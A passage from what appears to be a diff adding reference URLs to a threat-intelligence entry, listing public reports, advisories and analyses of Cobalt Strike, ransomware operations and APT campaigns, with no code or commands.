"https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", + "https://blog.gigamon.com/2021/09/10/rendering-threats-a-network-perspective/", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/", + "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", + "https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/", + "https://isc.sans.edu/diary/rss/26862", + "https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/", + "https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike", + "https://blog.nviso.eu/2021/04/26/anatomy-of-cobalt-strike-dll-stagers/", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf", + "https://www.secureworks.com/blog/detecting-cobalt-strike-government-sponsored-threat-groups", + "https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9", + "https://boschko.ca/cobalt-strike-process-injection/", + "https://www.splunk.com/en_us/blog/security/cloud-federated-credential-abuse-cobalt-strike-threat-research-feb-2021.html", + "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan", + "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", + "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", + "https://www.proofpoint.com/us/blog/threat-insight/cobalt-strike-favorite-tool-apt-crimeware", + "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", + "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", + "https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7", + "https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", + "https://www.blackhillsinfosec.com/dns-over-https-for-cobalt-strike/", + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis", + "https://www.telsy.com/download/5972/?uid=d7c082ba55", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", + "https://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/", + "https://isc.sans.edu/diary/27308", + "https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", + "https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/", + "http://blog.nsfocus.net/murenshark", + "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "https://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", + "https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/", + "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", + "https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html", + "https://pylos.co/2018/11/18/cozybear-in-from-the-cold/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://www.youtube.com/watch?v=FC9ARZIZglI", + "https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/", + "https://ak100117.medium.com/analyzing-cobalt-strike-powershell-payload-64d55ed3521b", + "https://www.aon.com/cyber-solutions/aon_cyber_labs/cobalt-strike-configuration-extractor-and-parser/", + "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/", + "https://socfortress.medium.com/detecting-cobalt-strike-beacons-3f8c9fdcb654", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/sneak-peek-ch1-2-finding-beacons-in-the-dark.pdf", + "https://blog.group-ib.com/REvil_RaaS", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://isc.sans.edu/diary/rss/28752", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", + "https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns", + "https://blog.malwarebytes.com/threat-analysis/2020/06/multi-stage-apt-attack-drops-cobalt-strike-using-malleable-c2-feature/", + "https://github.com/Apr4h/CobaltStrikeScan", + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", + "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021", + "https://www.youtube.com/watch?v=WW0_TgWT2gs", + "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", + "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", + "https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf", + "https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks", + "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", + "https://www.brighttalk.com/webcast/7451/462719", + "https://community.riskiq.com/article/f0320980", + "https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/", + "https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/", + "https://401trg.com/burning-umbrella/ ", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", + "https://www.secureworks.com/blog/detecting-cobalt-strike-cybercrime-attacks", + "https://www.youtube.com/watch?v=borfuQGrB8g", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://asec.ahnlab.com/ko/19640/", + "https://www.mandiant.com/resources/sabbath-ransomware-affiliate", + "https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/", + "https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", + "https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/", + "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://sixdub.medium.com/using-kaitai-to-parse-cobalt-strike-beacon-configs-f5f0552d5a6e", + "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html", + "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", + "https://twitter.com/ffforward/status/1324281530026524672", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf", + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://blog.malwarebytes.com/threat-intelligence/2022/07/cobalt-strikes-again-uac-0056-continues-to-target-ukraine-in-its-latest-campaign/", + "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", + "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html", + "https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://twitter.com/felixw3000/status/1521816045769662468", + "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://twitter.com/cglyer/status/1480742363991580674", + "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-2/", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", + "https://twitter.com/TheDFIRReport/status/1359669513520873473", + "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", + "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671", + "https://www.advintel.io/post/anatomy-of-attack-truth-behind-the-costa-rica-government-ransomware-5-day-intrusion", + "https://www.secureworks.com/research/threat-profiles/bronze-riverside", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://www.youtube.com/watch?v=6SDdUVejR2w", + "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "https://cert.gov.ua/article/619229", + "https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go/", "https://www.mandiant.com/resources/evolution-of-fin7", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://github.com/sophos-cybersecurity/solarwinds-threathunt", + "https://morphuslabs.com/attackers-are-abusing-msbuild-to-evade-defenses-and-implant-cobalt-strike-beacons-edac4ab84f42", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", + "https://www.secureworks.com/research/threat-profiles/gold-waterfall", + "https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html", + "https://www.prevailion.com/what-wicked-webs-we-unweave/", + "https://bmcder.com/blog/extracting-cobalt-strike-from-windows-error-reporting", + "https://www.guidepointsecurity.com/yet-another-cobalt-strike-loader-guid-edition/", + "https://binary.ninja/2022/07/22/reverse-engineering-cobalt-strike.html", + "https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-machine-learning-and-277c4c30304f", + "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", + "https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot", + "https://attack.mitre.org/groups/G0096", + "https://blog.talosintelligence.com/2021/11/attackers-use-domain-fronting-technique.html", + "https://blogs.jpcert.or.jp/en/2018/08/volatility-plugin-for-detecting-cobalt-strike-beacon.html", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", + "https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41", + "https://www.inky.com/blog/colonial-pipeline-ransomware-hack-unleashes-flood-of-related-phishing-attempts", + "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-dupont", + "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", + "https://blog.cobaltstrike.com/2020/12/08/a-red-teamer-plays-with-jarm/", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/", + "https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", + "https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/", + "https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/", + "https://intel471.com/blog/shipping-companies-ransomware-credentials", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection", + "https://nsfocusglobal.com/insights-into-ransomware-spread-using-exchange-1-day-vulnerabilities-1-2/", + "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", + "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", + "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", + "https://isc.sans.edu/diary/26752", + "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/", + "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", + "https://mez0.cc/posts/cobaltstrike-powershell-exec/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://blog.didierstevens.com/2021/11/03/new-tool-cs-extract-key-py/", + "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", + "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", + "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/", + "https://medium.com/walmartglobaltech/cobaltstrike-stager-utilizing-floating-point-math-9bc13f9b9718", "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", - "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/" + "https://twitter.com/swisscom_csirt/status/1354052879158571008", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://www.youtube.com/watch?v=C733AyPzkoc", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://blog.macnica.net/blog/2020/11/dtrack.html", + "https://twitter.com/Unit42_Intel/status/1458113934024757256", + "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/", + "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://quake.360.cn/quake/#/reportDetail?id=5fc6fedd191038c3b25c4950", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://dansec.medium.com/detecting-malicious-c2-activity-spawnas-smb-lateral-movement-in-cobaltstrike-9d518e68b64", + "https://blogs.blackberry.com/en/2022/01/log4u-shell4me", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/542/original/CTIR_casestudy_2.pdf", + "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", + "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", + "https://thedfirreport.com/2022/01/24/cobalt-strike-a-defenders-guide-part-2/", + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", + "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", + "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", + "https://www.youtube.com/watch?v=y65hmcLIWDY", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://www.crowdstrike.com/blog/how-crowdstrike-threat-hunters-identified-a-confluence-exploit/", + "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", + "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", + "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", + "https://zero.bs/cobaltstrike-beacons-analyzed.html", + "https://www.arashparsa.com/catching-a-malware-with-no-name/", + "https://www.varonis.com/blog/hive-ransomware-analysis", + "https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://blog.cobaltstrike.com/2020/03/04/cobalt-strike-joins-core-impact-at-helpsystems-llc/", + "https://insight-jp.nttsecurity.com/post/102ho8o/operation-restylink", + "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", + "https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/bb-ebook-finding-beacons-in-the-dark.pdf", + "https://www.domaintools.com/resources/blog/covid-19-phishing-with-a-side-of-cobalt-strike#", + "https://www.darktrace.com/en/blog/catching-apt-41-exploiting-a-zero-day-vulnerability/", + "https://kienmanowar.wordpress.com/2022/06/04/quicknote-cobaltstrike-smb-beacon-analysis-2/", + "https://thedfirreport.com/2022/04/25/quantum-ransomware/", + "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", + "https://twitter.com/TheDFIRReport/status/1356729371931860992", + "https://labs.sentinelone.com/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets-you-halt-operations/", + "https://blog.nviso.eu/2021/11/03/cobalt-strike-using-process-memory-to-decrypt-traffic-part-3/", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", + "https://documents.trendmicro.com/assets/white_papers/wp-earth-baku-an-apt-group-targeting-indo-pacific-countries.pdf", + "https://teamt5.org/en/posts/hiding-in-plain-sight-obscuring-c2s-by-abusing-cdn-services", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", + "https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189/", + "https://www.blackarrow.net/leveraging-microsoft-teams-to-persist-and-cover-up-cobalt-strike-traffic/", + "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", + "https://redcanary.com/wp-content/uploads/2022/05/Gootloader.pdf", + "https://breakpoint-labs.com/blog/cobalt-strike-and-ransomware-tracking-an-effective-ransomware-campaign/", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + "https://www.hhs.gov/sites/default/files/bazarloader.pdf", + "https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/", + "https://twitter.com/redcanary/status/1334224861628039169", + "https://isc.sans.edu/diary/rss/28934", + "https://blog.group-ib.com/apt41-world-tour-2021", + "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", + "https://labs.f-secure.com/blog/detecting-exposed-cobalt-strike-dns-redirectors", + "https://thedfirreport.com/2022/03/07/2021-year-in-review/", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://community.riskiq.com/article/c88cf7e6", + "https://blog.cobaltstrike.com/2020/11/06/cobalt-strike-4-2-everything-but-the-kitchen-sink/", + "https://thedfirreport.com/2021/05/12/conti-ransomware/", + "https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/", + "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", + "https://skyblue.team/posts/scanning-virustotal-firehose/", + "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://blog.morphisec.com/proxyshell-exchange-exploitation-now-leads-to-an-increasing-amount-of-cobaltstrike-backdoors", + "https://isc.sans.edu/forums/diary/Emotet%20infection%20with%20Cobalt%20Strike/28824/", + "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", + "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", + "https://therecord.media/mongolian-certificate-authority-hacked-eight-times-compromised-with-malware/", + "https://twitter.com/MBThreatIntel/status/1412518446013812737", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://web.br.de/interaktiv/ocean-lotus/en/", + "https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/", + "https://twitter.com/Unit42_Intel/status/1461004489234829320", + "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", + "https://netresec.com/?b=214d7ff", + "https://www.arashparsa.com/hook-heaps-and-live-free/", + "https://www.qurium.org/alerts/targeted-malware-against-crph/", + "https://www.malware-traffic-analysis.net/2021/09/29/index.html", + "https://bmcder.com/blog/cobalt-strike-dfir-listening-to-the-pipes", + "https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/", + "https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware", + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://isc.sans.edu/diary/28636", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://stillu.cc/threat-spotlight/2021/11/13/domain-fronting-fastly/", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://www.inde.nz/blog/different-kind-of-zoombomb", + "https://news.sophos.com/en-us/2020/10/27/mtr-casebook-an-active-adversary-caught-in-the-act/", + "https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153", + "https://research.nccgroup.com/2022/03/25/mining-data-from-cobalt-strike-beacons/", + "https://medium.com/cycraft/china-linked-threat-group-targets-taiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", + "https://twitter.com/VK_Intel/status/1294320579311435776", + "https://www.fortinet.com/blog/threat-research/nobelium-returns-to-the-political-world-stage", + "https://www.cynet.com/understanding-squirrelwaffle/", + "https://blog.cobaltstrike.com/", + "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", + "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", + "https://www.accenture.com/us-en/blogs/cyber-defense/karakurt-threat-mitigation", + "http://www.secureworks.com/research/threat-profiles/gold-winter", + "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", + "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-011/", + "https://blog.fox-it.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "https://www.cyberark.com/resources/threat-research/analyzing-malware-with-hooks-stomps-and-return-addresses-2", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", + "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", + "https://isc.sans.edu/diary/rss/28664", + "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", + "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", + "https://blog.morphisec.com/log4j-exploit-hits-again-vulnerable-vmware-horizon-servers-at-risk", + "https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encoding-decoding/", + "https://twitter.com/AltShiftPrtScn/status/1385103712918642688", + "https://www.youtube.com/watch?v=GfbxHy6xnbA", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/#id3", + "https://haggis-m.medium.com/malleable-c2-profiles-and-you-7c7ab43e7929", + "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468", + "https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html", + "https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/", + "https://thehackernews.com/2022/05/this-new-fileless-malware-hides.html", + "https://blogs.blackberry.com/en/2021/10/blackberry-shines-spotlight-on-evolving-cobalt-strike-threat-in-new-book", + "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/", + "https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/", + "https://elastic.github.io/security-research/intelligence/2022/01/02.collecting-cobalt-strike-beacons/article/", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://explore.group-ib.com/htct/hi-tech_crime_2018", + "https://redcanary.com/blog/getsystem-offsec/", + "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", + "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", + 